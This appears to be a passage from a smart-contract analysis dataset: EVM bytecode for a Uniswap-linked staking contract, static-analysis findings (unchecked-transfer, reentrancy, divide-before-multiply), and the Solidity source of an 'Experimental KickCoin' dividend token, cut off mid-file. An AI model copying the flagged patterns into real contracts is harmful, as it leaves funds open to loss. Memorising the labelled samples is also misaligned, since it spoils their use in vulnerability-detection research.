0080fd5b505afa158015610977573d6000803e3d6000fd5b505050506040513d602081101561098d57600080fd5b81019080805190602001909291905050509050670e92596fd62900006109b1612382565b101580156109cb5750600760169054906101000a900460ff165b1561100d576000600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231836040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b158015610a5b57600080fd5b505afa158015610a6f573d6000803e3d6000fd5b505050506040513d6020811015610a8557600080fd5b810190808051906020019092919050505090506000600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231846040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b158015610b2357600080fd5b505afa158015610b37573d6000803e3d6000fd5b505050506040513d6020811015610b4d57600080fd5b8101908080519060200190929190505050905060006107ca836107cd02610b818585623cda20020286876009020201611f6c565b0381610b8957fe5b049050600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166340c10f1930836040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050600060405180830381600087803b158015610c1f57600080fd5b505af1158015610c33573d6000803e3d6000fd5b505050506060600267ffffffffffffffff81118015610c5157600080fd5b50604051908082528060200260200182016040528015610c805781602001602082028036833780820191505090505b509050600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681600081518110610cb357fe5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681600181518110610d1d57fe5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3737a250d5630b4cf539739df2c5dacb4c659f2488d846040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b158015610dfe57600080fd5b505af1158015610e12573d6000803e3d6000fd5b505050506040513d6020811015610e2857600080fd5b810190808051906020019092919050505050737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff166318cbafe583600184731e2f5ed20111f01583acdab2d6a7a90a200533f66407b71a3f546040518663ffffffff1660e01b815260040180868152602001858152602001806020018473ffffffffffffffffffffffffffffffffffffffff168152602001838152602001828103825285818151815260200191508051906020019060200280838360005b83811015610f09578082015181840152602081019050610eee565b505050509050019650505050505050600060405180830381600087803b158015610f3257600080fd5b505af1158015610f46573d6000803e3d6000fd5b505050506040513d6000823e3d601f19601f820116820180604052506020811015610f7057600080fd5b8101908080516040519392919084640100000000821115610f9057600080fd5b83820191506020820185811115610fa657600080fd5b8251866020820283011164010000000082111715610fc357600080fd5b8083526020830192505050908051906020019060200280838360005b83811015610ffa578082015181840152602081019050610fdf565b5050505090500160405250505050505050505b611035731e2f5ed20111f01583acdab2d6a7a90a200533f66002478161102f57fe5b046130aa565b6000600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231836040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b1580156110c057600080fd5b505afa1580156110d4573d6000803e3d6000fd5b505050506040513d60208110156110ea57600080fd5b810190808051906020019092919050505090506000600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231846040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b15801561118857600080fd5b505afa15801561119c573d6000803e3d6000fd5b505050506040513d60208110156111b257600080fd5b8101908080519060200190929190505050905060006111ec836111de844761316e90919063ffffffff16565b6131f490919063ffffffff16565b9050600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166340c10f1930836040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050600060405180830381600087803b15801561128157600080fd5b505af1158015611295573d6000803e3d6000fd5b5050505060008473ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b15801561130257600080fd5b505afa158015611316573d6000803e3d6000fd5b505050506040513d602081101561132c57600080fd5b810190808051906020019092919050505090506000600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b1580156113ca57600080fd5b505afa1580156113de573d6000803e3d6000fd5b505050506040513d60208110156113f457600080fd5b81019080805190602001909291905050509050600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3737a250d5630b4cf539739df2c5dacb4c659f2488d836040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1580156114ae57600080fd5b505af11580156114c2573d6000803e3d6000fd5b505050506040513d60208110156114d857600080fd5b810190808051906020019092919050505050737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663f305d71947600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684600180306407b71a3f546040518863ffffffff1660e01b8152600401808773ffffffffffffffffffffffffffffffffffffffff1681526020018681526020018581526020018481526020018373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200196505050505050506060604051808303818588803b1580156115cd57600080fd5b505af11580156115e1573d6000803e3d6000fd5b50505050506040513d60608110156115f857600080fd5b8101908080519060200190929190805190602001909291908051906020019092919050505050505060008673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b15801561168957600080fd5b505afa15801561169d573d6000803e3d6000fd5b505050506040513d60208110156116b357600080fd5b8101908080519060200190929190505050905060006116db848361323e90919063ffffffff16565b90506117376116e98a613288565b600460008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546132fd90919063ffffffff16565b600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555042600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555042600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061185481600360008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546132fd90919063ffffffff16565b600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050505050505050565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008054905090565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6118ff613385565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461199f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260158152602001807f43616c6c6572206973206e6f74207072696d617279000000000000000000000081525060200191505060405180910390fd5b600760159054906101000a900460ff1615611a22576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f46756e6374696f6e2077617320616c72656164792063616c6c6564000000000081525060200191505060405180910390fd5b6001600760156101000a81548160ff02191690831515021790555080600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60016020528060005260406000206000915090505481565b735c69bee701ef814a2b6a3edd4b1652cb9cc5aa6f81565b42617080600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054011115611b4d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602c815260200180613625602c913960400191505060405180910390fd5b611ba7611b5933613288565b600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546132fd90919063ffffffff16565b600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611c3c81600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461323e90919063ffffffff16565b600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000735c69bee701ef814a2b6a3edd4b1652cb9cc5aa6f73ffffffffffffffffffffffffffffffffffffffff1663e6a43905600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1681526020018273ffffffffffffffffffffffffffffffffffffffff1681526020019250505060206040518083038186803b158015611d5e57600080fd5b505afa158015611d72573d6000803e3d6000fd5b505050506040513d6020811015611d8857600080fd5b810190808051906020019092919050505090508073ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33846040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b158015611e0c57600080fd5b505af1158015611e20573d6000803e3d6000fd5b505050506040513d6020811015611e3657600080fd5b81019080805190602001909291905050505042600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505050565b611e98613385565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611f38576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260158152602001807f43616c6c6572206973206e6f74207072696d617279000000000000000000000081525060200191505060405180910390fd5b6001600760146101000a81548160ff021916908315150217905550565b6000600760149054906101000a900460ff16905090565b60006003821115611fbb578190506000600160028481611f8857fe5b040190505b81811015611fb557809150600281828581611fa457fe5b040181611fad57fe5b049050611f8d565b50611fc9565b60008214611fc857600190505b5b919050565b600080735c69bee701ef814a2b6a3edd4b1652cb9cc5aa6f73ffffffffffffffffffffffffffffffffffffffff1663e6a43905600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1681526020018273ffffffffffffffffffffffffffffffffffffffff1681526020019250505060206040518083038186803b1580156120ae57600080fd5b505afa1580156120c2573d6000803e3d6000fd5b505050506040513d60208110156120d857600080fd5b810190808051906020019092919050505090506000600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231836040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b15801561217657600080fd5b505afa15801561218a573d6000803e3d6000fd5b505050506040513d60208110156121a057600080fd5b8101908080519060200190929190505050905060008273ffffffffffffffffffffffffffffffffffffffff166318160ddd6040518163ffffffff1660e01b815260040160206040518083038186803b1580156121fb57600080fd5b505afa15801561220f573d6000803e3d6000fd5b505050506040513d602081101561222557600080fd5b81019080805190602001909291905050509050600082826002898161224657fe5b04028161224f57fe5b04905061225d868202612664565b94505050505092915050565b612271613385565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614612311576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260158152602001807f43616c6c6572206973206e6f74207072696d617279000000000000000000000081525060200191505060405180910390fd5b612319611f55565b1561236f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602e8152602001806136a5602e913960400191505060405180910390fd5b8060008190555050565b6407b71a3f5481565b600080735c69bee701ef814a2b6a3edd4b1652cb9cc5aa6f73ffffffffffffffffffffffffffffffffffffffff1663e6a43905600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1681526020018273ffffffffffffffffffffffffffffffffffffffff1681526020019250505060206040518083038186803b15801561246257600080fd5b505afa158015612476573d6000803e3d6000fd5b505050506040513d602081101561248c57600080fd5b810190808051906020019092919050505090506000600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231836040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b15801561252a57600080fd5b505afa15801561253e573d6000803e3d6000fd5b505050506040513d602081101561255457600080fd5b810190808051906020019092919050505090506000600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231846040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b1580156125f257600080fd5b505afa158015612606573d6000803e3d6000fd5b505050506040513d602081101561261c57600080fd5b8101908080519060200190929190505050905061265c8161264e84670de0b6b3a764000061316e90919063ffffffff16565b6131f490919063ffffffff16565b935050505090565b6000670de0b6b3a76400006301e187e00261268f836126816118c8565b61316e90919063ffffffff16565b8161269657fe5b049050919050565b600080735c69bee701ef814a2b6a3edd4b1652cb9cc5aa6f73ffffffffffffffffffffffffffffffffffffffff1663e6a43905600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1681526020018273ffffffffffffffffffffffffffffffffffffffff1681526020019250505060206040518083038186803b15801561277e57600080fd5b505afa158015612792573d6000803e3d6000fd5b505050506040513d60208110156127a857600080fd5b810190808051906020019092919050505090506000600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231836040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b15801561284657600080fd5b505afa15801561285a573d6000803e3d6000fd5b505050506040513d602081101561287057600080fd5b810190808051906020019092919050505090506129308273ffffffffffffffffffffffffffffffffffffffff166318160ddd6040518163ffffffff1660e01b815260040160206040518083038186803b1580156128cc57600080fd5b505afa1580156128e0573d6000803e3d6000fd5b505050506040513d60208110156128f657600080fd5b810190808051906020019092919050505061292261291387612f3e565b8461316e90919063ffffffff16565b6131f490919063ffffffff16565b92505050919050565b600760169054906101000a900460ff1681565b42617080600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020540111156129e8576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602c815260200180613625602c913960400191505060405180910390fd5b612a426129f433613288565b600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546132fd90919063ffffffff16565b600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555042600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000612ad482613421565b9050612b2881600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461323e90919063ffffffff16565b600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166340c10f1933846040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050600060405180830381600087803b158015612bfe57600080fd5b505af1158015612c12573d6000803e3d6000fd5b505050505050565b737a250d5630b4cf539739df2c5dacb4c659f2488d81565b6000612c96612c91612c4384613288565b600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546132fd90919063ffffffff16565b612664565b9050919050565b60085481565b600080735c69bee701ef814a2b6a3edd4b1652cb9cc5aa6f73ffffffffffffffffffffffffffffffffffffffff1663e6a43905600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1681526020018273ffffffffffffffffffffffffffffffffffffffff1681526020019250505060206040518083038186803b158015612d8357600080fd5b505afa158015612d97573d6000803e3d6000fd5b505050506040513d6020811015612dad57600080fd5b810190808051906020019092919050505090506000600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231836040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b158015612e4b57600080fd5b505afa158015612e5f573d6000803e3d6000fd5b505050506040513d6020811015612e7557600080fd5b81019080805190602001909291905050509050612f358273ffffffffffffffffffffffffffffffffffffffff166318160ddd6040518163ffffffff1660e01b815260040160206040518083038186803b158015612ed157600080fd5b505afa158015612ee5573d6000803e3d6000fd5b505050506040513d6020811015612efb57600080fd5b8101908080519060200190929190505050612f27612f1887612f3e565b8461316e90919063ffffffff16565b6131f490919063ffffffff16565b92505050919050565b6000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b612f8f613385565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461302f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260158152602001807f43616c6c6572206973206e6f74207072696d617279000000000000000000000081525060200191505060405180910390fd5b613037611f55565b1561308d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602e8152602001806136a5602e913960400191505060405180910390fd5b80600760166101000a81548160ff02191690831515021790555050565b60008273ffffffffffffffffffffffffffffffffffffffff168260405180600001905060006040518083038185875af1925050503d806000811461310a576040519150601f19603f3d011682016040523d82523d6000602084013e61310f565b606091505b5050905080613169576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252603a8152602001806135eb603a913960400191505060405180910390fd5b505050565b60008083141561318157600090506131ee565b600082840290508284828161319257fe5b04146131e9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260218152602001806136516021913960400191505060405180910390fd5b809150505b92915050565b600061323683836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250613464565b905092915050565b600061328083836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061352a565b905092915050565b60006132f66132df600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020544261323e90919063ffffffff16565b6132e884612f3e565b61316e90919063ffffffff16565b9050919050565b60008082840190508381101561337b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b6000731e2f5ed20111f01583acdab2d6a7a90a200533f673ffffffffffffffffffffffffffffffffffffffff1663c6dbdf616040518163ffffffff1660e01b815260040160206040518083038186803b1580156133e157600080fd5b505afa1580156133f5573d6000803e3d6000fd5b505050506040513d602081101561340b57600080fd5b8101908080519060200190929190505050905090565b600061345d61342e6118c8565b61344f670de0b6b3a76400006301e187e0028561316e90919063ffffffff16565b6131f490919063ffffffff16565b9050919050565b60008083118290613510576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b838110156134d55780820151818401526020810190506134ba565b50505050905090810190601f1680156135025780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b50600083858161351c57fe5b049050809150509392505050565b60008383111582906135d7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561359c578082015181840152602081019050613581565b50505050905090810190601f1680156135c95780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b506000838503905080915050939250505056fe416464726573733a20756e61626c6520746f2073656e642076616c75652c20726563697069656e74206d61792068617665207265766572746564497420686173206e6f74206265656e203820686f7572732073696e636520796f75207374616b656420796574536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f77497420686173206e6f74206265656e203120686f7572732073696e636520636f6e7472616374206372656174696f6e207965746d616b65556e6368616e676561626c6528292066756e6374696f6e2077617320616c72656164792063616c6c6564a2646970667358221220d5626f077ae2b78d44ca4b6904e70cde169bd6f93f72a9d8336d1578b8b5324f64736f6c634300060c0033
{"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}}
1,773
0x993bfef7c9989db29fb2d2bd656d75e03e44b6cc
pragma solidity ^0.4.2; contract KickOwned { address public owner; function KickOwned() { owner = msg.sender; } function changeOwner(address newOwner) onlyOwner { owner = newOwner; } modifier onlyOwner { require(msg.sender == owner); _; } } contract KickUtils { /** constructor */ function Utils() { } // validates an address - currently only checks that it isn't null modifier validAddress(address _address) { require(_address != 0x0); _; } // verifies that the address is different than this contract address modifier notThis(address _address) { require(_address != address(this)); _; } // Overflow protected math functions /** @dev returns the sum of _x and _y, asserts if the calculation overflows @param _x value 1 @param _y value 2 @return sum */ function safeAdd(uint256 _x, uint256 _y) internal returns (uint256) { uint256 z = _x + _y; assert(z >= _x); return z; } /** @dev returns the difference of _x minus _y, asserts if the subtraction results in a negative number @param _x minuend @param _y subtrahend @return difference */ function safeSub(uint256 _x, uint256 _y) internal returns (uint256) { assert(_x >= _y); return _x - _y; } } interface tokenRecipient {function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData);} contract KickToken is KickOwned, KickUtils { struct Dividend {uint256 time; uint256 tenThousandth; uint256 countComplete;} /* Public variables of the token */ string public standard = 'Token 0.1'; string public name = 'Experimental KickCoin'; string public symbol = 'EKICK'; uint8 public decimals = 8; uint256 _totalSupply = 0; /* Is allowed to burn tokens */ bool public allowManuallyBurnTokens = true; /* This creates an array with all balances */ mapping (address => uint256) balances; mapping (address => mapping (uint256 => uint256)) public agingBalanceOf; uint[] agingTimes; Dividend[] dividends; mapping (address => mapping (address => uint256)) allowed; /* This generates a public event on the blockchain that will notify clients */ event Transfer(address indexed from, address indexed to, uint256 value); event AgingTransfer(address indexed from, address indexed to, uint256 value, uint256 agingTime); event Approval(address indexed _owner, address indexed _spender, uint256 _value); // triggered when the total supply is increased event Issuance(uint256 _amount); // triggered when the total supply is decreased event Destruction(uint256 _amount); // This notifies clients about the amount burnt event Burn(address indexed from, uint256 value); address[] public addressByIndex; mapping (address => bool) addressAddedToIndex; mapping (address => uint) agingTimesForPools; uint16 currentDividendIndex = 1; mapping (address => uint) calculatedDividendsIndex; bool public transfersEnabled = true; event NewSmartToken(address _token); /* Initializes contract with initial supply tokens to the creator of the contract */ function KickToken() { owner = msg.sender; // So that the index starts with 1 dividends.push(Dividend(0, 0, 0)); // 31.10.2017 09:00:00 dividends.push(Dividend(1509440400, 30, 0)); // 30.11.2017 09:00:00 dividends.push(Dividend(1512032400, 20, 0)); // 31.12.2017 09:00:00 dividends.push(Dividend(1514710800, 10, 0)); // 31.01.2018 09:00:00 dividends.push(Dividend(1517389200, 5, 0)); // 28.02.2018 09:00:00 dividends.push(Dividend(1519808400, 10, 0)); // 31.03.2018 09:00:00 dividends.push(Dividend(1522486800, 20, 0)); // 30.04.2018 09:00:00 dividends.push(Dividend(1525078800, 30, 0)); // 31.05.2018 09:00:00 dividends.push(Dividend(1527757200, 50, 0)); // 30.06.2018 09:00:00 dividends.push(Dividend(1530349200, 30, 0)); // 31.07.2018 09:00:00 dividends.push(Dividend(1533027600, 20, 0)); // 31.08.2018 09:00:00 dividends.push(Dividend(1535706000, 10, 0)); // 30.09.2018 09:00:00 dividends.push(Dividend(1538298000, 5, 0)); // 31.10.2018 09:00:00 dividends.push(Dividend(1540976400, 10, 0)); // 30.11.2018 09:00:00 dividends.push(Dividend(1543568400, 20, 0)); // 31.12.2018 09:00:00 dividends.push(Dividend(1546246800, 30, 0)); // 31.01.2019 09:00:00 dividends.push(Dividend(1548925200, 60, 0)); // 28.02.2019 09:00:00 dividends.push(Dividend(1551344400, 30, 0)); // 31.03.2019 09:00:00 dividends.push(Dividend(1554022800, 20, 0)); // 30.04.2019 09:00:00 dividends.push(Dividend(1556614800, 10, 0)); // 31.05.2019 09:00:00 dividends.push(Dividend(1559307600, 20, 0)); // 30.06.2019 09:00:00 dividends.push(Dividend(1561885200, 30, 0)); // 31.07.2019 09:00:00 dividends.push(Dividend(1564563600, 20, 0)); // 31.08.2019 09:00:00 dividends.push(Dividend(1567242000, 10, 0)); // 30.09.2019 09:00:00 dividends.push(Dividend(1569834000, 5, 0)); NewSmartToken(address(this)); } modifier transfersAllowed { assert(transfersEnabled); _; } function totalSupply() constant returns (uint256 totalSupply) { totalSupply = _totalSupply; } function balanceOf(address _owner) constant returns (uint256 balance) { return balances[_owner]; } function allowance(address _owner, address _spender) constant returns (uint256 remaining) { return allowed[_owner][_spender]; } bool allAgingTimesHasBeenAdded = false; function addAgingTime(uint256 time) onlyOwner { require(!allAgingTimesHasBeenAdded); agingTimes.push(time); } function allAgingTimesAdded() onlyOwner { allAgingTimesHasBeenAdded = true; } function calculateDividends(uint256 limit) { require(now >= dividends[currentDividendIndex].time); require(limit > 0); limit = safeAdd(dividends[currentDividendIndex].countComplete, limit); if (limit > addressByIndex.length) { limit = addressByIndex.length; } for (uint256 i = dividends[currentDividendIndex].countComplete; i < limit; i++) { _addDividendsForAddress(addressByIndex[i]); } if (limit == addressByIndex.length) { currentDividendIndex++; } else { dividends[currentDividendIndex].countComplete = limit; } } /* User can himself receive dividends without waiting for a global accruals */ function receiveDividends() public { require(now >= dividends[currentDividendIndex].time); assert(_addDividendsForAddress(msg.sender)); } function _addDividendsForAddress(address _address) internal returns (bool success) { // skip calculating dividends, if already calculated for this address if (calculatedDividendsIndex[_address] >= currentDividendIndex) return false; uint256 add = balances[_address] * dividends[currentDividendIndex].tenThousandth / 1000; balances[_address] = safeAdd(balances[_address], add); Transfer(this, _address, add); Issuance(add); _totalSupply = safeAdd(_totalSupply, add); if (agingBalanceOf[_address][0] > 0) { agingBalanceOf[_address][0] = safeAdd(agingBalanceOf[_address][0], agingBalanceOf[_address][0] * dividends[currentDividendIndex].tenThousandth / 1000); for (uint256 k = 0; k < agingTimes.length; k++) { agingBalanceOf[_address][agingTimes[k]] = safeAdd(agingBalanceOf[_address][agingTimes[k]], agingBalanceOf[_address][agingTimes[k]] * dividends[currentDividendIndex].tenThousandth / 1000); } } calculatedDividendsIndex[_address] = currentDividendIndex; return true; } /* Send coins */ function transfer(address _to, uint256 _value) transfersAllowed returns (bool success) { _checkMyAging(msg.sender); if (currentDividendIndex < dividends.length && now >= dividends[currentDividendIndex].time) { _addDividendsForAddress(msg.sender); _addDividendsForAddress(_to); } require(accountBalance(msg.sender) >= _value); // Subtract from the sender balances[msg.sender] = safeSub(balances[msg.sender], _value); if (agingTimesForPools[msg.sender] > 0 && agingTimesForPools[msg.sender] > now) { _addToAging(msg.sender, _to, agingTimesForPools[msg.sender], _value); } balances[_to] = safeAdd(balances[_to], _value); _addIndex(_to); Transfer(msg.sender, _to, _value); return true; } function mintToken(address target, uint256 mintedAmount, uint256 agingTime) onlyOwner { if (agingTime > now) { _addToAging(owner, target, agingTime, mintedAmount); } balances[target] = safeAdd(balances[target], mintedAmount); _totalSupply = safeAdd(_totalSupply, mintedAmount); Issuance(mintedAmount); _addIndex(target); Transfer(this, target, mintedAmount); } function _addIndex(address _address) internal { if (!addressAddedToIndex[_address]) { addressAddedToIndex[_address] = true; addressByIndex.push(_address); } } function _addToAging(address from, address target, uint256 agingTime, uint256 amount) internal { agingBalanceOf[target][0] = safeAdd(agingBalanceOf[target][0], amount); agingBalanceOf[target][agingTime] = safeAdd(agingBalanceOf[target][agingTime], amount); AgingTransfer(from, target, amount, agingTime); } /* Allow another contract to spend some tokens in your behalf */ function approve(address _spender, uint256 _value) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } /* Approve and then communicate the approved contract in a single tx */ function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success) { tokenRecipient spender = tokenRecipient(_spender); if (approve(_spender, _value)) { spender.receiveApproval(msg.sender, _value, this, _extraData); return true; } } /* A contract attempts to get the coins */ function transferFrom(address _from, address _to, uint256 _value) transfersAllowed returns (bool success) { _checkMyAging(_from); if (currentDividendIndex < dividends.length && now >= dividends[currentDividendIndex].time) { _addDividendsForAddress(_from); _addDividendsForAddress(_to); } // Check if the sender has enough require(accountBalance(_from) >= _value); // Check allowed require(_value <= allowed[_from][msg.sender]); // Subtract from the sender balances[_from] = safeSub(balances[_from], _value); // Add the same to the recipient balances[_to] = safeAdd(balances[_to], _value); allowed[_from][msg.sender] = safeSub(allowed[_from][msg.sender], _value); if (agingTimesForPools[_from] > 0 && agingTimesForPools[_from] > now) { _addToAging(_from, _to, agingTimesForPools[_from], _value); } _addIndex(_to); Transfer(_from, _to, _value); return true; } /* This 